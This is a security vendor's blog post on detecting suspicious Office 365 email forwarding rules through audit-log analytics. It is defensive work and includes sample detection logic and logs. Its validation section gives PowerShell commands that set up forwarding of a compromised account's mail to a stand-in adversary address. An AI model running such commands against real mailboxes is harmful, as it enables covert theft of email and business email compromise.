




RESOURCES • BLOG
THREAT DETECTION




Detecting suspicious email forwarding rules on Office 365

You can stay one step ahead of email-based threats by developing and validating detection coverage for suspicious email forwarding activity. Here’s how.

BRIAN DONOHUE • JUSTIN SCHOENFELD

Originally published May 31, 2022. Last modified October 1, 2024.



Despite costing companies untold billions of dollars every year, email account compromise (EAC), business email compromise (BEC), and other email-based scams garner less attention—from defenders and media alike—than costly and often high-profile ransomware attacks. In today’s blog, we’re going to discuss the scope of email-based threats and offer guidance on what security teams can do about it.

Specifically, we’re going to talk about how **Office 365 telemetry** can help you detect email-

By clicking “Accept All Cookies”, you agree to the storing of cookies on your device to enhance site navigation, analyze site usage, and assist in our marketing efforts per our [cookie policy](#).

Cookies Settings

Reject All

Accept All Cookies



telemetry source in your own environment, and we’ll also include some tests you can run to validate your detection coverage.

The problem, quantified as best we can

According to the FBI Internet Crime Complaint Center (IC3), BEC alone cost victims more than **\$43B between June 2016 and December 2021**—a figure that only increases when you combine it with other email-based threats. Cost estimates for ransomware, on the other hand, are all over the place, with the IC3 (almost certainly under-)reporting \$30M in losses in 2020. Another oft-cited (but unsubstantiated) report estimates that ransomware might have cost as much as \$20B in 2021.

Whatever the actual numbers are, the damages caused by email schemes are right on par with those caused by ransomware—and therefore, we should probably make sure we’re not treating these email-based threats as an afterthought.

An example, so we can show you how to detect bad things

We’re focusing on just one variant of email compromise in this article, namely those that involve an adversary who leverages email forwarding rules. Let’s talk through how things might play out before we describe some detection and testing options.

We’ll start at the point where an adversary has successfully logged into a victim’s mailbox. From there, an adversary can attempt to maintain access for as long as possible, quietly collecting valuable or sensitive information by simply reading through individual email messages, manually exporting messages to review offline, or stealthily forwarding email messages to external email accounts. In the latter scenario, adversaries may create email forwarding rules tied to a user’s account that auto-forward all or specific emails to an external SMTP address. Auto-forwarding emails in this way allows an adversary on-demand and real-time access to email messages without worrying about the legitimate user deleting emails or even changing their password. In other words, adversaries set up forwarding rules as a form of insurance in case they lose access to their victim’s email account.

Adversaries set up forwarding rules as a form of insurance in case they lose access to their victim’s email account.

In our example, we’ll say the adversary is only interested in emails that contain terms like “direct deposit,” “wire transfer,” or “password reset.” As such, they can set up a rule that automatically moves any emails containing those words in any part of the email to a mailbox folder the victim rarely checks, like their “RSS Feeds” or “Archived” folder. Part of the email rule might even mark the message as “read” or delete it altogether before forwarding the message to an external mailbox.

collected emails to launch additional phishing campaigns against the victim’s colleagues to further entrench themselves in the environment.

Executive Summary: 2024 Threat Detection Report

LEARN MORE >

A solution, so you can defend against email threats

Luckily for defenders, many enterprise email clients collect audit logs that you can use to detect suspicious email rules. Microsoft Exchange and Office 365 provides robust logging of user mailbox activity in the Unified Audit Log in the **Microsoft 365 Compliance Center**, which was recently renamed to the **Microsoft Purview Compliance Portal**.

These logs provide visibility into the actions a user conducts in their mailbox, including the creation of new email rules, what’s been modified or accessed, records of user logons (or failed logon attempts), and much more. Over the last year or so, Red Canary has started collecting telemetry from these log sources and using that telemetry to develop detection analytics that pretty reliably catch malicious email forwarding, but more on that in a moment (spoiler alert: legitimate email forwarding rules are relatively uncommon and pretty easy to baseline).

Setting and logging forwarding rules

Not only can adversaries create email rules manually, via the Outlook desktop client and Outlook on the Web (also referred to as Outlook Web App or OWA), they can also use the **Exchange PowerShell module**. These cmdlets provide administrators a powerful set of functionality for investigation and maintenance as well. Fortunately, regardless of the means by which an adversary creates or modifies forwarding rules, Unified Audit Logs capture the context of what occurs.

Some important data points exist within the audit logs. From the perspective of a defender attempting to detect suspicious forwarding rules, our detection engineering team determined the following “Operations” within the audit logs to be the most important:

- **New-InboxRule**
- **Set-InboxRule**
- **Remove-InboxRule**
- **Disable-InboxRule**
- **UpdateInboxRules**

- The **New-InboxRule**, **Set-InboxRule**, **Remove-InboxRule**, or **Disable-InboxRule** Operations typically show up when someone is using the PowerShell cmdlet or Outlook on the Web.
- **UpdateInboxRules** is typically seen when rules are created or modified via an Outlook Desktop client using the Exchange Web Services (EWS) API and has a slightly different log format, which we'll provide in detail below.
- **Set-Mailbox** is also seen in PowerShell and OWA usage, but is typically used to change the settings of a user's mailbox. Some of these settings include options to externally forward emails.

The follow parameters can be used to modify mail-forwarding rules with **New-InboxRule**, **Set-InboxRule**, **Remove-InboxRule**, and **Disable-InboxRule** Operations:

PROPERTY	DESCRIPTION
ForwardAsAttachmentTo	The ForwardAsAttachmentTo parameter specifies an action for the Inbox rule that forwards the message to the specified recipient as an attachment.
ForwardTo	The ForwardTo parameter specifies an action for the Inbox rule that forwards the message to the specified recipient.
RedirectTo	The RedirectTo parameter specifies an action for the Inbox rule that redirects the message to the specified recipient.

The **Set-Mailbox** Operation can also contain the following forwarding properties:

PROPERTY	DESCRIPTION
ForwardingAddress	The ForwardingAddress parameter that specifies a forwarding address in your organization for messages that are sent to this mailbox.

	use this parameter to specify external email addresses that aren't validated
--	--

Now that we’ve specified some of the different ways that you can set up email forwarding and where you can collect relevant logs, let’s talk about how you can develop detection analytics using telemetry from the logs mentioned above.

Detection strategy #1

We find the following logic useful for detecting forwarding rules created via Outlook on the Web:

```
Operation_includes ["New-InboxRule", "Set-InboxRule",
"Remove-InboxRule", "Disable-InboxRule"]
&&
Parameters.Name_includes ["ForwardTo",
"ForwardAsAttachmentTo", "RedirectTo"]
```

We expect this rule to fire on the following example log for a **New-InboxRule** Operation:

```
{ "CreationTime": "2022-01-01T01:01:01", "Id": "xxxxxxx-
xxxx-xxxx-xxxx-xxxxxxxxxxxx", "Operation": "New-
InboxRule", "OrganizationId": "xxxxxxx-xxxx-xxxx-xxxx-
xxxxxxxxxxxx", "RecordType": 1, "ResultStatus": "True", "Us
erKey": "xxxxxxxxxxxxxxxx", "UserType": 2, "Version": 1, "Wo
rkload": "Exchange", "ClientIP": "x.x.x.x:x", "ObjectId": "
Some Username\\Forward
All", "UserId": "Some_Username@contoso.com", "AppId": "", "
ClientAppId": "", "ExternalAccess": false, "OrganizationNa
me": "contoso.onmicrosoft.com", "OriginatingServer": "ser
ver (15.20.5000.013)", "Parameters":
[ { "Name": "Mailbox", "Value": "Some_Username@contoso.com"
}, { "Name": "Name", "Value": "Forward All" },
{ "Name": "RedirectTo", "Value": "attacker@c0nt0s0.net" } ],
"SessionId": "xxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx" }
```

As mentioned earlier, the **Set-Mailbox** operation also has the ability to configure a user’s mailbox to auto-forward messages. The following logic should help detect when these events occur:

```
Operation == "Set-Mailbox"
&&
Parameters_include ["ForwardingSmtpAddress",
"ForwardingAddress"]
```

The following example is a log we expect to match for **Set-Mailbox** Operations, which forward emails to an external SMTP address:

```
{
  "CreationTime": "2022-01-01T01:01:01",
  "Id": "675cb883-ab7c-4675-76e2-08da2f96c1c3",
  "Operation": "Set-Mailbox",
  "OrganizationId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
  "RecordType": 1,
  "ResultStatus": "True",
  "UserKey": "xxxxxxxxxxxxxxxx",
  "UserType": 2,
  "Version": 1,
  "Workload": "Exchange",
  "ClientIP": "x.x.x.x",
  "ObjectId": "user-alerts",
  "UserId": "user@contoso.com",
  "AppId": "",
  "ClientAppId": "",
  "ExternalAccess": false,
  "OrganizationName": "contoso.onmicrosoft.com",
  "OriginatingServer": "server (15.00.0000.000)",
  "Parameters": [
    { "Name": "DeliverToMailboxAndForward", "Value": "True" },
    { "Name": "ForwardingSmtpAddress", "Value": "smtp:attacker@c0nt0s0.net" },
    { "Name": "Identity", "Value": "user-alerts" }
  ],
  "SessionId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
}
```

Detection strategy #3

We mentioned briefly above that the format of an **UpdateInboxRules** log has a different format as compared to the PowerShell/OWA logs. The logs will collapse some of the specific forwarding properties into one line typically found in the value of the **RuleActions**.

```
Operation == "UpdateInboxRules"
```

&&
OperationProperties.Value_includes “Recipients”

The following example is a log we expect to match for an **UpdateInboxRules** Operation:

```
{
  "CreationTime": "2022-01-01T01:01:01",
  "Id": "db61d72e-138a-456b-98bb-08da28919367",
  "Operation": "UpdateInboxRules",
  "OrganizationId": "f656c9e0-c696-41a4-abee-b30f5351f5f3",
  "RecordType": 2,
  "ResultStatus": "Succeeded",
  "UserKey": "100320016E8A0D67",
  "UserType": 0,
  "Version": 1,
  "Workload": "Exchange",
  "ClientIP": "40.87.48.185",
  "UserId": "some_user@contoso.onmicrosoft.com",
  "ClientIPAddress": "x.x.x.x",
  "ClientInfoString": "Client=MSExchangeRPC",
  "ClientProcessName": "OUTLOOK.EXE",
  "ClientRequestId": "{A67DAC7A-0549-46AC-9D4B-9EE513169AF7}",
  "ClientVersion": "16.0.00000.00000",
  "ExternalAccess": false,
  "InternalLogonType": 0,
  "LogonType": 0,
  "LogonUserSid": "S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-xxxx",
  "MailboxGuid": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
  "MailboxOwnerSid": "S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-xxxx",
  "MailboxOwnerUPN": "some_user@contoso.onmicrosoft.com",
  "OperationProperties": [
    {
      "Name": "RuleOperation",
      "Value": "AddMailboxRule"
    },
    {
      "Name": "RuleId",
      "Value": "0"
    },
    {
      "Name": "RuleState",
      "Value": "Enabled"
    }
  ]
}
```

```
    },
    {
      "Name": "RuleName",
      "Value": "sent only to me"
    },
    {
      "Name": "RuleProvider",
      "Value": "RuleOrganizer"
    },
    {
      "Name": "RuleActions",
      "Value": "
[{\\"ActionType\\":\\"Forward\\",\\"Recipients\\":
[\\attacker@c0nt0s0.onmicrosoft.com\\"],\\"ForwardFlags\\":
\\"PreserveSender, DoNotChangeMessage\\"}]"
    }
  ],
  "OrganizationName": "contoso.onmicrosoft.com",
  "OriginatingServer": "server (15.20.0000.000)\\r\\n",
  "SessionId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxxxx",
  "Item": {
    "Id": "xxxxxxxxxxxxxxxxxxxxxx",
    "ParentFolder": {
      "Id": "xxxxxxxxxxxxxx",
      "Name": "Inbox",
      "Path": "\\Inbox" }}}}

```

Rules were made to be validated

In order to verify your rules are indeed operating as expected, the following PowerShell commands should be helpful in generating telemetry. Once your detection logic is up and running, execute these series of commands to generate inbox rules and (hopefully!) corresponding alerts or detections:

The following tests rely upon the **ExchangeOnlineManagement PowerShell module**. The module is available in the **PowerShell Gallery** and can be installed with the following command:

```
Install-Module -Name ExchangeOnlineManagement
```

The attack examples that will follow assume that an adversary has credentials to a compromised Azure AD account and has authenticated with the **Connect-ExchangeOnline** cmdlet. Example:

```
Connect-ExchangeOnline -UserPrincipalName CompromisedUser@contoso.com
```

The following example uses the **New-InboxRule** cmdlet to forward all emails sent to `CompromisedUser@contoso[.]com` to `AdversaryInbox@SusDomain[.]aq`.

```
New-InboxRule -Name 'LegitimateBackupRule' -ForwardTo 'AdversaryInbox@SusDomain.aq'
```



```
Set-Mailbox -Identity CompromisedUser -DeliverToMailboxAndForward $true -
ForwardingSmtptAddress 'AdversaryInbox@SusDomain.aq'
```

A conclusion, to finish the blog

Gaining visibility into suspicious email forwarding is an important step toward detecting and preventing email-based threats. We hope this article helps you better understand the totality of the problem, and more importantly, that it helps you and your team improve your defense-in-depth against all the varieties of email threats.

Appendix: Preventive measures

Disable external email forwarding

- <https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/external-email-forwarding?view=o365-worldwide>
- <https://www.documentcloud.org/documents/20418379-fbi-pin-on-intrusions-exploiting-email-forwarding-rules>

Office 365 Hardening Guides

- https://github.com/PwC-IR/Business-Email-Compromise-Guide/blob/main/PwC-Business_Email_Compromise-Guide.pdf
- <https://www.mandiant.com/sites/default/files/2021-11/wp-m-unc2452-000343.pdf>

RELATED ARTICLES



THREAT DETECTION

Artificial authentication: Understanding and observing Azure OpenAI abuse

THREAT DETECTION

Apple picking: Bobbing for Atomic Stealer 8.

THREAT DETECTION

Keep track of AWS user activity with SourceIdentity attribute

THREAT DETECTION

Trending cyberthreats and techniques from the first half of 2024

Subscribe to our blog

You'll receive a weekly email with our new blog posts.

First Name

Last Name

Email Address

SUBSCRIBE >

See Red Canary in action

Schedule your demo now

Get a Demo



in



Search



PRODUCTS

Managed Detection and Response (MDR)
Readiness Exercises
Linux EDR
Atomic Red Team™
Mac Monitor
What’s New?
Plans

SOLUTIONS

Deliver Enterprise Security Across Your IT Environment
Get a 24×7 SOC Instantly
Protect Your Corporate Endpoints and Network
Protect Your Users’ Email, Identities, and SaaS Apps
Protect Your Cloud
Protect Critical Production Linux and Kubernetes
Stop Business Email Compromise
Replace Your MSSP or MDR
Run More Effective Tabletops
Train Continuously for Real-World Scenarios
Operationalize Your Microsoft Security Stack
Minimize Downtime with After-Hours Support

RESOURCES

View all Resources
Blog
Integrations
Guides & Overviews
Cybersecurity 101
Case Studies
Videos
Webinars
Events
Customer Help Center
Newsletter

PARTNERS

Overview
Incident Response
Insurance & Risk
Managed Service Providers
Solution Providers
Technology Partners
Apply to Become a Partner

COMPANY

About Us
The Red Canary Difference
News & Press
Careers – We’re Hiring!
Contact Us
Trust Center and Security

